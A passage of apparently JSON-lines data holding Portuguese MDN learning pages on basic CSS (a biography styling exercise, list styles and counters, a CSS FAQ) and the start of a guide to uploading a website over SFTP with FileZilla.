com base em diferentes maneiras de especificar elementos no documento e procurar propriedades e valores na documentação do MDN.\n\nNa próxima lição, veremos como o CSS é estruturado.\n\n* Anterior\n* Menu: First steps\n* Próxima"}
{"title":"Usando seu novo conhecimento - Aprendendo desenvolvimento web","text":"Usando seu novo conhecimento\n============================\n\n* Anterior\n* Menu: First steps\n\nCom o que você aprendeu nas últimas lições, você deve perceber que pode formatar simples documentos de texto utilizando CSS, implementado seu próprio estilo neles. Esta avaliação lhe dá a oportunidade de fazer exatamente isto.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Antes de tentar esta avaliação você deve ter passado pelo resto do\n módulo básico de CSS, além de também possuir uma compreensão básica de\n HTML (estude\n Introdução ao HTML).\n  |\n| Objetivo: | Trabalhar um pouco de CSS e testar seus novos conhecimentos. |\n\nPonto de partida\n----------------\n\nVocê pode trabalhar com editor ao vivo abaixo, ou pode fazer o download do ponto de partida para trabalhar em seu próprio editor de texto. Esta é uma única página de HTML, além do ponto de partida no head do documento. Se preferir, você pode transferir este CSS para um arquivo separado quando criar o exemplo no seu computador. Ou ainda, você pode utilizar uma ferramenta online como por exemplo, o CodePen, jsFiddle, ou Glitch para realizar estas tarefas..\n\n**Nota:** Se ficar emperrado, nos procure por ajuda — veja a seção Assessment or further help no final da página.\n\nTrabalhando com CSS\n-------------------\n\nO seguite exemplo mostra uma biografia, o qual foi estilizado com CSS. As propriedades CSS que eu usei foram as mencionadas abaixo — cada uma está lincada a sua página de propriedades em MDN, a qual dará mais exemplos do uso dela.\n\n* `font-family`\n* `color`\n* `border-bottom` (en-US)\n* `font-weight`\n* `font-size`\n* `text-decoration`\n\nEu usei uma mistura de seletores, estilizando elementos como h1 e h2, mas também criando uma classe para o título da profissão e estilizando ela.\n\nUse CSS para mudar como esta biografia aparece, alterando valores das propriedades que eu utilizei.\n\n1. Faça o cabeçalho rosa, usando a chave de cor CSS `hotpink`.\n2. Dê ao cabeçalho um pontilhado de tamanho 10px `border-bottom` (en-US) e que utiliza a chave de cor CSS `purple`.\n3. Faça o cabeçalho nível 2 em itálico.\n4. Dê ao `ul` usado para informações de contato uma `background-color` `#eeeeee`, e uma `border` (en-US) roxa sólida com de tamanho 5px. Implemente um `padding` para empurrar o conteúdo para longe da borda.\n5. Torne os links `verdes` ao passar o mouse por cima deles.\n\nVocê deve acabar com algo parecido com esta imagem.\n\n![Screenshot of how the example should look after completing the assessment.](/pt-BR/docs/Learn/CSS/First_steps/Styling_a_biography_page/learn-css-basics-assessment.png)\n\nApós isto, tente pesquisar algumas propriedades não mencionadas nesta página em MDN CSS referências e se aventure!\n\nLembre-se de que não há resosta errada aqui — neste momento de seu aprendizado, você pode se dar ao luxo de de se divertir um pouco.\n\nAvaliação ou ajuda adicional\n----------------------------\n\nSe gostaria de ter seu trabalho avaliado, ou se ficou emperrado e gostaria de ajuda:\n\n1. Coloque seu trabalho num editor de texto compartilhado online tal como o CodePen, jsFiddle, ou Glitch.\n2. Escreva um post perguntando por avaliação e/ou ajuda em MDN Discourse forum Learning category. Seu post deve incluir:\n    * Um título descritivo, tal como \"Avaliação desejada para primeiros passos em CSS\".\n    * Detalhes do que você já tentou, e o que gostaria que ós fizéssemos, p.e. se você está emperrado e precisa de ajuda, ou se deseja uma avalição.\n    * Um link para o exemplo que você deseja ser avaliadao ou precisa de ajuda, em um editor online compartilhado (como mencionado no passo 1 acima). Esta é uma boa prática a se desenvolver — é muito difícil ajudar alguém com um problema de computação se não é possível ver o código dessa pessoa.\n    * Um link para a atual págia de tarefa ou avaliaçãopara que possamos ver a questão que você está com dúvida.\nO que vem a seguir?\n-------------------\n\nParabéns por terminar seu primeiro módulo. Agora você deve ter uma boa compreensão geral de CSS, e ser capaz de entender boa parte do que acontece numa folha de estilos. No próximo módulo, CSS building blocks, iremos dar uma olhada com mais profundidade em várias áreas chave.\n\n* Anterior\n* Menu: First steps"}
{"title":"Manipulando Listas - Aprendendo desenvolvimento web","text":"Manipulando Listas\n==================\n\n* Anterior  (en-US)\n* Menu: Styling text\n* Próxima  (en-US)\n\nEste é o 10º seção do CSS Introdução (en-US) tutorial; ele descreve como você pode usar CSS para especificar o aparecimento de listas. Você cria um novo documento de amostra contendo listas, e um novo estilo que os estilos das listas.\n\nInformação: Lists\n-----------------\n\nSe você aceitou o desafio na última (en-US) seção, em seguida, você viu como você pode adicionar conteúdo antes de qualquer elemento para exibi-lo como um item da lista.\n\nCSS proporciona propriedades especiais que são projetados para listas. Geralmente é mais conveniente usar estas propriedades sempre que puder.\n\nPara especificar o estilo para uma lista, use o `list-style` (en-US) propriedade para especificar o tipo de marcador.\n\nO seletor na sua regra de CSS pode selecionar os elementos de item de lista (por exemplo, `<li>`), ou pode selecionar o elemento primário da lista (por exemplo, `<ul>`) de modo a que os elementos da lista herdam o modelo.\n\n### Listas não ordenadas\n\nEm uma lista *desordenada*, cada item da lista é marcado da mesma forma.\n\nCSS tem três tipos de marcadores, e aqui está como seu navegador exibe-os:\n\n* `disc`\n* `circle`\n* `square`\n\nnone\n\nAlternativamente, você pode especificar o URL de uma imagem.\n\nExemplo\n\nEssas regras especificam diferentes marcadores para diferentes classes de item da lista:\n\n\n```css\nli.open {\n  list-style: circle;\n}\nli.closed {\n  list-style: disc;\n}\n```\n\n\nQuando estas classes são usadas em uma lista, que distinguir entre os itens abertos e fechados (por exemplo, em uma lista de tarefas):\n\n\n```html\n<ul>\n  <li class=\"open\">Lorem ipsum</li>\n  <li class=\"closed\">dolor sit</li>\n  <li class=\"closed\">Amet consectetuer</li>\n  <li class=\"open\">Magna aliquam</li>\n  <li class=\"closed\">Autem veleum</li>\n</ul>\n```\n\n\nO resultado pode parecer:\n\n### Listas ordenadas\n\nEm uma lista*ordenada* , cada item da lista é marcado diferentemente para mostrar a sua posição na sequência.\n\nUse a propriedade `list-style` (en-US) para especificar o tipo de marcador:\n\n* `decimal`\n* `lower-roman`\n* `upper-roman`\n* `lower-latin`\n* `upper-latin`\n\nExemplo\n\nEsta regra especifica que em `<ol>` elementos com a classe `informações, os itens são identificados com letras maiúsculas.`\n```\n\n<ol class=\"info\">\n  <li>Lorem ipsum</li>\n  <li>Dolor sit</li>\n  <li>Amet consectetuer</li>\n  <li>Magna aliquam</li>\n  <li>Autem veleum</li>\n</ol>\n```\n\n\n\n```css\nol.info {\n  list-style: upper-latin;\n}\n```\n\n\nO `<li>` elementos da lista herdam esse estilo:\n\nMais detalhes\n\nO `list-style` (en-US) propriedade é uma propriedade taquigrafia. Em folhas de estilo complexas você pode preferir usar propriedades separadas para definir valores separados. Para obter links para essas propriedades separadas, e mais detalhes de como CSS especifica listas, consulte o `list-style` (en-US) página de referência.\n\nSe você estiver usando uma linguagem de marcação como HTML que fornece etiquetas convencionais para não-ordenada (`<ul>`) e ordenou (`<ol>`) listas, então é uma boa prática para usar as marcas na forma como eles se destinam. No entanto, você pode usar CSS para fazer `<ul>` exibição ordenada e `<ol>` visualização não ordenada, se desejar.\n\nBrowsers diferem na maneira de implementar os estilos para listas. Não espere que sua folha de estilo dê resultados idênticos em todos os navegadores.\n\n### Contadores\n\n**Nota:** Alguns navegadores não suportam contadores. O conteúdo CSS e compatibilidade do navegador página no site de modo Quirks contém um gráfico detalhado de compatibilidade do navegador para este e outros recursos CSS. Páginas individuais na referência CSS neste local também têm tabelas de compatibilidade do navegador.\n\nVocê pode usar contadores para numerar quaisquer elementos, não somente itens da lista. Por exemplo, em alguns documentos você pode querer numerar cabeçalhos ou parágrafos.\n\nPara especificar a numeração, você precisa de um *contador* com um nome que você especificar.\n\nEm alguns elementos antes da contagem é começar, reinicie o contador com a propriedade `counter-reset` (en-US) eo nome do seu contador. O pai dos elementos que você estiver contando é um bom lugar para fazer isso, mas você pode usar qualquer elemento que vem antes os itens da lista.\n\nEm cada elemento que o contador é incrementado, use a propriedade `contra-incremento` eo nome do seu contador.\n\nPara mostrar seu contador, adicione `:: before` ou `:: after` para o selector e usar o `conteúdo` da propriedade (como você fez na página anterior, Conteúdo) .\n\nNo valor do `conteúdo` de propriedade, especifique `counter ()` com o nome de seu contador. Opcionalmente especifique um tipo. Os tipos são os mesmos que na **lista ordenada** secção acima.\n\nNormalmente, o elemento que apresenta o contador também incrementa-lo.\n\nExemplo\n\nEsta regra inicializa um contador para cada `<h3>` (en-US) elemento com a classe numeradas:\n\n\n```css\nh3.numbered {\n  counter-reset: mynum;\n}\n```\n\n\nEsta regra mostra e incrementa o contador para cada `<p>` elemento com a classe numeradas:\n\n\n```html\n<p class=\"numbered\">Lorem ipsum</p>\n<p class=\"numbered\">dolor sit</p>\n<p class=\"numbered\">Amet consectetuer</p>\n<p class=\"numbered\">Magna aliquam</p>\n<p class=\"numbered\">Autem veleum</p>\n```\n\n\n\n```css\nbody {\n  counter-reset: mynum;\n}\np.numbered:before {\n  content: counter(mynum) \": \";\n  counter-increment: mynum;\n  font-weight: bold;\n}\n```\n\n\nO resultado se parece com isso:\n\nMais detalhes\n\nVocê não pode usar os contadores a menos que você sabe que todo mundo que lê o documento tem um navegador que os suporta.\n\nSe você é capaz de usar contadores, eles têm a vantagem de que você pode estilizar os contadores separadamente dos itens da lista. No exemplo acima, os contadores estão em negrito mas os itens da lista não são.\n\nVocê também pode usar contadores em formas mais complexas, por exemplo, para numerar seções, títulos, subtítulos e parágrafos em documentos formais. Para mais detalhes, consulte contadores automáticos e numeração em CSS Specification.\n\nListas denominadas: Ação\n------------------------\n\nCrie um novo documento HTML, doc2.html. Copie e cole o conteúdo daqui:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>Sample document 2</title>\n    <link rel=\"stylesheet\" href=\"style2.css\" />\n  </head>\n  <body>\n    <h3 id=\"oceans\">The oceans</h3>\n    <ul>\n      <li>Arctic</li>\n      <li>Atlantic</li>\n      <li>Pacific</li>\n      <li>Indian</li>\n      <li>Southern</li>\n    </ul>\n\n    <h3 class=\"numbered\">Numbered paragraphs</h3>\n    <p class=\"numbered\">Lorem ipsum</p>\n    <p class=\"numbered\">Dolor sit</p>\n    <p class=\"numbered\">Amet consectetuer</p>\n    <p class=\"numbered\">Magna aliquam</p>\n    <p class=\"numbered\">Autem veleum</p>\n  </body>\n</html>\n```\n\n\nFaça uma nova folha de estilo, style2.css. Copie e cole o conteúdo daqui:\n\n\n```css\n/\\* numbered paragraphs \\*/\nh3.numbered {\n  counter-reset: mynum;\n}\n\np.numbered:before {\n  content: counter(mynum) \": \";\n  counter-increment: mynum;\n  font-weight: bold;\n}\n```\n\n\nSe o layout e comentário não são a seu gosto, alterá-los.\n\nAbra o documento no seu browser. Se o seu navegador suporta contadores, você verá algo parecido com o exemplo abaixo. Se seu navegador não suporta contadores, então você não ver os números (e provavelmente nem mesmo os dois pontos):\n\nDesafios\n\nAdicione uma regra à sua folha de estilo, para numerar os oceanos usando numerais romanos de I a V:\n\n|  |\n| --- |\n| **The oceans*** Arctic\n* Atlantic\n* Pacific\n* Indian\n* Southern\n |\n\nMude sua folha de estilo para identificar os títulos com letras maiúsculas em parênteses como este:\n\n| **(A) The oceans**. . .**(B) Numbered paragraphs**. . . |\n| --- |\n\nVer soluções para esses desafios. (en-US)\n\nQual o proximo?\n---------------\n\nQuando seu navegador exibe seu documento de amostra, ele cria espaço ao redor dos elementos quando ele coloca-los na página. A próxima página descreve como você pode usar CSS para trabalhar com as formas subjacentes de elementos, caixas."}
{"title":"CSS - Perguntas frequentes - Aprendendo desenvolvimento web","text":"CSS - Perguntas frequentes\n==========================\n\nPor que meu CSS, que é válido, não é renderizado corretamente?\n--------------------------------------------------------------\n\nNavegadores usam a declaração de `DOCTYPE` para decidir se devem exibir o documento usando um modo compatível com os padrões da web ou com padrões de navegadores antigos. Usar corretamente a declaração de um `DOCTYPE` moderno no início do seu documento HTML melhorará a forma como o navegador trata os padrões utilizados no documento.\n\nNavegadores modernos possuem dois principais modos de renderização:\n\n* *Modo de peculiaridades (Quirks Mode)*: Também chamado de modo retrocompatível, permite que páginas antigas sejam renderizadas como seus autores pretendiam, seguindo regras de renderização não-padronizadas geralmente encontradas em navegadores antigos. Documentos com uma declaração `DOCTYPE` incompleta, incorreta, que não tenham uma declaração `DOCTYPE` ou não tenham uma declaração comumente utilizada antes de 2001 serão renderizados deste modo.\n* *Modo de padrões (Standards Mode)*: Neste modo o navegador tenta seguir os padrões W3C estritamente, ignorando peculiaridades encontradas em documentos designados a navegadores antigos. Espera-se que novas páginas HTML sejam desenvolvidas para navegadores que seguem os padrões da W3C, e como resultado disso, páginas com uma declaração de `DOCTYPE` moderna serão renderizadas deste modo.\n\nNavegadores baseados na engine Gecko possuem um terceiro modo de renderização; *Modo de \"quase padrões\" (Almost Standards Mode)*, que renderiza as páginas seguindo regras do *Modo de padrões*, porém considerando algumas poucas peculiaridades encontradas em páginas para navegadores antigos.\n\nEsta é uma lista das declarações de `DOCTYPE` mais usadas e que acionarão o modo de padrões ou de \"quase padrões\":\n```\n\n<!DOCTYPE html> /* Este é o doctype HTML5. Levando em consideração que\n                   navegadores modernos possuem um parser de HTML5, o\n                   uso desta declaração é recomendada */\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\"\n\"https://www.w3.org/TR/html4/loose.dtd\">\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\n\"https://www.w3.org/TR/html4/strict.dtd\">\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n\"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n\"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n```\n\n\nSempre que possível, use a declaração de `DOCTYPE` HTML5.\n\nPor que meu CSS, que é válido, não é renderizado?\n-------------------------------------------------\n\nAbaixo temos algumas das possíveis causas:\n\n* O caminho para o arquivo CSS está incorreto.\n* Para ser aplicado, uma folha de estilos CSS deve ser servido ao navegador com o tipo MIME `text/css`. Caso o servidor não sirva a folha de estilos com este tipo, as regras CSS não serão interpretadas e aplicadas aos elementos no documento.\nQual a diferença entre `id` e `class`?\n--------------------------------------\n\nElementos HTML podem ter um atributo `id` e/ou um atributo `class`. O atributo `id` designa um nome ao elemento ao qual este é aplicado, e para que a marcação seja válida, deverá haver no documento apenas um elemento com o nome designado (Por exemplo: Caso você designe o nome *janela* a um elemento, nenhum outro elemento poderá ter o nome *janela*).\n\nO atributo `class` designa um ou vários nomes de classes as quais um elemento pertence. Diferentemente do valor designado no atributo `id`, os nomes designados em `class` podem ser reutilizados em outros elementos no documento. De qualquer forma, CSS permite que você aplique estilos tanto para uma `id` particular quanto para `classes`.\n\nAlgumas dicas de quando usar `id` e quando usar `class:`\n\n* Utilize classes para estilizar elementos quando você pretender atribuir as mesmas regras de estilização a diversos elementos num documento. Mesmo que você tenha apenas um elemento no momento, utilize classes para sua estilização caso você pretenda reutilizar as mesmas regras em elementos criados futuramente.\n* Utilize ids quando você precisar restringir regras de estilização a um determinado bloco ou elemento. Como ids não devem sepetidas num documento, as regras de estilo designadas a uma `id` serão aplicadas apenas àquele elemento.\n\nGeralmente é recomendável que se utilize classes sempre que possível, utilizando ids apenas quando absolutamente necessário para usos específicos (como conectar um `label` a um elemento de formulário, ou para estilizar elementos que necessicam ser semanticamente únicos). Abaixo estão descritas algumas vantagens em utilizar classes como forma principal de estilização:\n\n* Usar classes torna seu código extensível — Mesmo que você tenha apenas um elemento a ser estilizado agora, você pode querer adicionar as mesmas regras a outros elementos futuramente.\n* Classes permitem que você estilize diversos elementos. Sendo assim, classes podem ajudar a desenvolver folhas de estilo menores; mais enchutas, já que regras podem ser facilmente reutilizadas entre elementos. Isso não só ajuda na manutenção da folha de estilo, como também agiliza a renderização de páginas, principalmente em conexões lentas.\n* Seletores de classes tem menor especificidade (en-US) do que seletores de id, o que torna as regras de estilização mais fáceis de serem sobrepostas.\n\n**Nota:** Veja Seletores (en-US) para mais informações.\n\nComo eu redefino o valor padrão de uma propriedade?\n---------------------------------------------------\n\nInicialmente CSS não propiciava a diretiva \"default\" e a única forma de redefinir o valor padrão de uma propriedade era expliciatamente redeclarando aquela propriedade. Por exemplo:\n\n\n```css\n/\\* A cor padrão do cabeçalho é preta \\*/\nh1 {\n  color: red;\n}\nh1 {\n  color: black;\n}\n```\n\n\nIsso mudou com CSS 2; a diretiva initial agora é um valor válido para uma propriedade CSS. Ela redefine tal propriedade para seu valor padrão, o qual é definido nas especificações CSS para tal propriedade.\n\n\n```css\n/\\* A cor padrão do cabeçalho é preta \\*/\nh1 {\n  color: red;\n}\nh1 {\n  color: initial;\n}\n```\n\nComo eu derivo um estilo de outro?\n----------------------------------\n\nCSS não exatamente permite que um estilo seja definido com os termos de outro. (Veja as notas de Eric Meyer sobre a posição do grupo de trabalho a respeito do assunto). Entretanto, é possível atingir o mesmo efeito designando diversas classes a um elemento, e Variáveis CSS agora providenciam uma forma de definir informações sobre um estilo em um lugar e reutilizar estas informações em diversos outros lugares.\n\nComo eu aplico diversas classes a um elemento?\n----------------------------------------------\n\nElementos HTML podem ter diversas classes designadas a si, com as classes sendo listadas no atributo `class`, tendo um espaço em branco separando cada uma.\n\n\n```html\n<style type=\"text/css\">\n .news {\n background: black;\n color: white;\n }\n .today {\n font-weight: bold;\n }\n</style>\n\n<div class=\"news today\">... content of today's news ...</div>\n```\n\n\nCaso a mesma propriedade seja declara em mais de uma regra, o conflito é resolvido primeiro pela ordem de especificidade e depois através da ordem das declarações CSS, com o último valor definido da propriedade sendo considerado. A ordem em que o nome das classes aparece no atributo `class` é irrelevante.\n\nPor que minhas regras de estilização não funcionam corretamente?\n----------------------------------------------------------------\n\nRegras de estilização, mesmo que sejam semanticamente corretas, podem não ser aplicadas em determinadas situações. Você pode utilizar o visualizador de regras CSS do Inspetor de DOM para resolver problemas deste tipo, mas as ocasiões mais frequentes onde regras de estilização são ignoradas estão listadas abaixo.\n\n### Hierarquia dos elementos HTML\n\nA forma como estilos CSS são aplicados a elementos HTML depende também da hierarquia dos elementos HTML. É importante lembrar que a regra aplicada a um descendente sobrepõe a regra do pai, independente de qualquer especificidade ou prioridade das regras CSS.\n\n\n```html\n<style type=\"text/css\">\n .news {\n color: black;\n }\n .corpName {\n font-weight: bold;\n color: red;\n }\n</style>\n\n<!-- O texto do item news é preto, mas o nome da corporação é vermelho e em negrito -->\n<div class=\"news\">\n  (Reuters) <span class=\"corpName\">General Electric</span> (GE.NYS) announced on\n  Thursday...\n</div>\n```\n\n\nNo caso de hierarquias HTML complexas, se uma regra parece ser ignorada, verifique se o elemento está dentro de outro elemento com um estilo diferente.\n\n### Regra de estilização explicitamente redefinida\n\nEm folhas de estilo CSS, a ordem **é** importante. Se você definir uma propriedade e logo depois redefinir a mesma propriedade, a última regra definida será considerada.\n\n\n```html\n<style>\n #stockTicker {\n font-weight: bold;\n }\n .stockSymbol {\n color: red;\n }\n /\\* outras regras \\*/\n /\\* outras regras \\*/\n /\\* outras regras \\*/\n .stockSymbol {\n font-weight: normal;\n }\n</style>\n\n<!-- Boa parte do texto está em negrito, exceto \"GE\", que é vermelho e não está em negrito -->\n<div id=\"stockTicker\">NYS: <span class=\"stockSymbol\">GE</span> +1.0 ...</div>\n```\n\n\nPara evitar que este tipo de problema, tente definir regras apenas uma vez para um determinado seletor e agrupe as regras para aquele seletor.\n\n### Uso de uma propriedade reduzida\n\nUtilizar propriedades reduzidas para definir regra de estilização é interessante pois permite definir diversas propriedade de uma regra em uma sintaxe compacta e que permite otimizar o tamanho da folha de estilos. Utilizar propriedades reduzidas para definir apenas uma propriedade é permitido, mas deve ser lembrado que atributos da propriedade não definidos são redefinidos para seu valor padrão. Ou seja, isso pode acabar sobrepondo regras anteriormente definidas implicitamente..\n\n\n```html\n<style>\n #stockTicker {\n font-size: 12px;\n font-family: Verdana;\n font-weight: bold;\n }\n .stockSymbol {\n font: 14px Arial;\n color: red;\n }\n</style>\n\n<div id=\"stockTicker\">NYS: <span class=\"stockSymbol\">GE</span> +1.0 ...</div>\n```\n\n\nNo exemplo anterior o problema ocorre em regras pertencentes a diferentes elementos. Mas também poderia acontecer para o mesmo elemento, pois a ordem das regras **é** importante.\n\n\n```css\n#stockTicker {\n  font-weight: bold;\n  font: 12px Verdana; /\\* font-weight agora está definido como \"normal\" \\*/\n}\n```\n\n### Uso do seletor `*`\n\nO seletor curinga `*` faz referência a qualquer elemento, e deve ser usado com cuidado.\n\n\n```html\n<style>\n body \\* {\n font-weight: normal;\n }\n #stockTicker {\n font: 12px Verdana;\n }\n .corpName {\n font-weight: bold;\n }\n .stockUp {\n color: red;\n }\n</style>\n\n<div id=\"section\">\n  NYS: <span class=\"corpName\"><span class=\"stockUp\">GE</span></span> +1.0 ...\n</div>\n```\n\n\nNo exemplo acima, o seletor \\* aplica a regra para todos os elementos dentro de `body`, em qualquer nível hierarquico, incluindo a classe `.stockUp`. Sendo assim a regra `font-weight: bold;` aplicada à classe `.corpName` é sobreposta por `font-weight: normal;` aplicada a todos os elementos dentro de `body`.\n\nO uso do seletor \\* também deve ser minimizado por ser um seletor lento, especialmente quando não utilizado como o primeiro elemento de um seletor. Este seletor deve ser evitado o máximo possível.\n\n### Especificidade em CSS\n\nQuando multiplas regras são aplicadas a um elemento, a regra a ser renderizada depende de sua especificidade (en-US). O estilo *inline* (regras de estilo definidas no atributo `style` de um elemento HTML) tem a mais alta especificidade e irá sobrepor qualquer seletor. Seletores de ID tem a segunda mais alta especificidade, com seletores de classes vindo logo após e, eventualmente, seletores de elementos (tags). Tendo isso em mente, a cor do texto da `<div>` abaixo terá a cor vermelha.\n\n\n```html\n<style>\n div {\n color: black;\n }\n #orange {\n color: orange;\n }\n .green {\n color: green;\n }\n</style>\n\n<div id=\"orange\" class=\"green\" style=\"color: red;\">Isso é vermelho</div>\n```\n\n\nAs regras se tornam mais complicadas quando o seletor tem diversas partes. Informações mais detalhadas sobre como a especificidade de seletores é calculada podem ser encontradas nas Especificações CSS 2.1, capítulo 6.4.3.\n\nO que as propriedades -moz-\\*, -ms-\\*, -webkit-\\*, -o-\\* e -khtml-\\* fazem?\n---------------------------------------------------------------------------\n\nEstas propriedades, chamadas *propriedades prefixadas*, são extenções ao padrão CSS. Elas permitem o uso de recursos experimentais e fora dos padrões em navegadores sem poluir o namespace convencional, prevenindo que incompatibilidades entre implementações experimentais e fora dos padrões surjam quando os padrões CSS forem expandidos.\n\nApesar do vasto uso na web, o uso de propriedades prefixadas não é recomendado em ambiente de produção. O uso indiscriminado de funcionalidades experimentais ou não-padrão pode causar problemas de compatibilidade futuros (como uma funcionalidade experimental mudando de nome, ou tendo o mesmo nome de uma outro funcionalidade que no passado tinha uma finalidade completamente diferente) e não renderizar páginas de forma correta em diferentes navegadores. Outro problema muito comum encontrado pelo uso indiscriminado de propriedades prefixadas é a declaração de regras que acabam se tornando exclusivas para determinadas engines, quebrando a renderização em outros navegadores, mesmo estes navegadores dando suporte à propriedade padrão não-prefixada (Por exemplo, apenas a propriedade `-webkit-border-radius` sendo usada em uma regra ao invés de `border-radius`, que é suportada por todos os navegadores, inclusive os baseados em webkit).\n\nPara amenizar os problemas de incompatibilidade gerados pelo uso de propriedades prefixadas (principalmente `-webkit-`), foi estabelecido o Compatibility Living Standard, o qual sugere um conjunto de propriedades `-webkit-` que navegadores (mesmo não utilizando a engine webkit) devem suportar. Outra medida que vem sendo tomada por desenvolvedores de navegadores é abandonar o suporte a propriedades prefixadas em versões estáveis dos navegadores, mantendo suporte a tais propriedades apenas em*Nightly Builds* e similares, desencorajando o uso em ambiente de produção.\n\nCaso você precise usar propriedades prefixadas em seu trabalho, você deve declarar primeiramente as propriedades prefixadas e, por último, declarar a versão padrão não-prefixada da propriedade anteriormente declara, garantindo que o navegador utilize a versão especificada nos padrões assim que suportado. Por exemplo:\n\n\n```css\n-ms-transform: rotate(90deg);\n-webkit-transform: rotate(90deg);\ntransform: rotate(90deg);\n```\n\n\n**Nota:** Para mais informações em como lhe dar com propriedades prefixadas, veja Lidando com problemas comuns em HTML e CSS — Lidando com prefixos CSS (en-US) do nosso módulo Teste Cross-browsing (en-US).\n\n**Nota:** Veja a página Extenções CSS Mozilla (en-US) para mais informações sobre propriedades CSS prefixadas da Mozilla.\n\nComo `z-index` está relacionado a posicionamento?\n-------------------------------------------------\n\nA propriedade `z-index` especifica a ordem dos elementos da pilha.\n\nUm elemento com z-index/ordem na pilha maior sempre será renderizado à frente de um elemento com um z-index/ordem de pilha menor. `z-index` funcionará apenas em elementos que tenham uma posição especificada (Ou seja, só funcionará caso o elemento tenha `position:absolute`, `position:relative` ou `position:fixed`).\n\n**Nota:** Para mais informações, veja nosso artigo de aprendizado sobre Posicionamento (en-US), e em particular a seção Introduzindo z-index (en-US)."}
{"title":"Como eu faço o upload de arquivos para um servidor web ? - Aprendendo desenvolvimento web","text":"Como eu faço o upload de arquivos para um servidor web ?\n========================================================\n\nEste artigo mostra como publicar seu site online usando ferramentas de transferência de arquivos.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos : | \n Você deve saber\n what a web server is\n e\n how domain names work. Você também deve saber como\n set up a basic environment\n e como\n write a simple webpage.\n  |\n| Objetivo: | \n Aprender como enviar arquivos para um servidor usando as várias\n ferramentas de transferências de arquivos disponíveis.\n  |\n\nResumo\n------\n\nSe você construiu uma página web básica (veja HTML basics, por exemplo), provavelmente desejará colocá-la online, em um servidor da web. Neste artigo, discutiremos como fazer isso, usando várias opções disponíveis, como clientes SFTP, RSync e Github.\n\nSFTP\n----\n\nExistem vários clientes SFTP . Nossa demo cobre o FileZilla, já que é gratuito e está disponível para Windows, macOS e Linux. Para instalar o FileZilla, vá para a página de downloads do FileZilla, clique no botão Download grande e instale a partir do arquivo de instalação da maneira usual.\n\n**Nota:** Claro que existem outras opções. Consulte Publishing tools para mais informações.\n\nAbra o FileZilla, você verá algo semelhante a isso:\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/Upload_files_to_a_web_server/filezilla-ui.png)\n\n### Logging in\n\nPara este exemplo, vamos supor que nosso provedor de hospedagem (o serviço que hospedará nosso servidor web HTTP) seja uma empresa fictícia ,\"Example hosting provider\" , cujos URLs são semelhantes a este: `mypersonalwebsite.examplehostingprovider.net`.\n\nAcabamos de abrir uma conta e receber estas informações :\n\n> \n> Parabéns por abrir uma conta no Example Hosting Provider.\n> \n> \n> Sua conta: `demozilla`\n> \n> \n> Seu site estará disponível em : `demozilla.examplehostingprovider.net`\n> \n> \n> Para publicar nessa conta, conecte-se por meio do SFTP com as seguintes credenciais :\n> \n> \n> * Servidor SFTP: `sftp://demozilla.examplehostingprovider.net`\n> * Usuário: `demozilla`\n> * Senha: `quickbrownfox`\n> * Porta: `5548`\n> * Para publicar na web, coloque seus arquivos no diretório `Public/htdocs` .\n> \n> \n> \n\nPrimeiramente, olhe em `http://demozilla.examplehostingprovider.net/` — como você pode ver até o momento, não há nada lá :\n\n![Our demozilla personal website, seen in a browser: it's empty](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/Upload_files_to_a_web_server/demozilla-empty.png)\n\n**Nota:** Dependendo do seu provedor de hospedagem, na maioria das vezes você verá uma página dizendo algo como como \"Este site é hospedado por [serviço de hospedagem]\".Isso é claro, quando você acessa seu endereço da web pela primeira vez.\n\nPara conectar seu cliente SFTP ao servidor, siga estas etapas:\n\n1. Escolha o arquivo *> Site Manager(Gerenciador de sites)...* no menu principal.\n2. Na janela do gerenciador de site, vá em novo site e preencha o nome do site como **demozilla** no espaço fornecido.\n3. Preencha o servidor SFTP que seu host forneceu no campo *Host:* field.\n4. Em *Logon Type(tipo de LogOn):* Escolha normal e ,em seguida , preencha com o nome de usuário e a senha fornecida nos campos relevantes.\n5. Preencha a porta correta e outras informações.\n\nSua janela estará semelhante a esta:\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/Upload_files_to_a_web_server/site-manager.png)\n\nAgora pressione *Connect* para conectar ao servidor SFTP.\n\nNota: Atenção, certifique-se de que seu provedor de hospedagem oferece conexão SFTP (FTP seguro) ao seu espaço de hospedagem. O FTP é inerentemente inseguro e você não deve usá-lo.\n\n### Visão local e remota\n\nDepois de conectada, sua tela deve ser semelhante a esta (conectamos a um exemplo nosso para lhe dar uma ideia):\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/Upload_files_to_a_web_server/connected.png)\n\nVamos analisar o que você está vendo:\n\n* No painel esquerdo central, você vê seus arquivos locais. Navegue até o diretório onde você armazena seu site (e.g. `mdn`).\n* No painel direito central, você vê arquivos remotos.Estamos conectados em nossa raiz FTP distante(Nesse caso, `users/demozilla`)\n* No momento, você pode ignorar os painéis inferiores e superiores.Respectivamente, trata-se de um log de mensagens que mostra o status de conexão entre seu computador e o servidor SFTP e um log em tempo real de cada interação entre seu cliente SFTP e o servidor.\n### Enviando para o servidor\n\nNossas instruções de host de exemplo nos disseram \"Para publicar na web, coloque seus arquivos no diretório `Public/htdocs` \" Você precisa navegar até o diretório especificado no painel direito. Este diretório é efetivamente a raiz do seu site — onde seu arquivo `index.html` e outros irão.\n\nDepois de encontrar o diretório remoto correto para colocar seus arquivos, para carregá-los no servidor, você precisa arrastá-los e soltá-los do painel esquerdo para o painel direito.\n\n### Eles estão realmente online ?\n\nAté agora, tudo bem , mas os arquivos estão realmente online ? Você pode verificar novamente voltando ao seu site (e.g. `http://demozilla.examplehostingprovider.net/`) no seu navegador:\n\n![Here we go: our website is live!](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/Upload_files_to_a_web_server/here-we-go.png)\n\nE *voilà*! Nosso website está 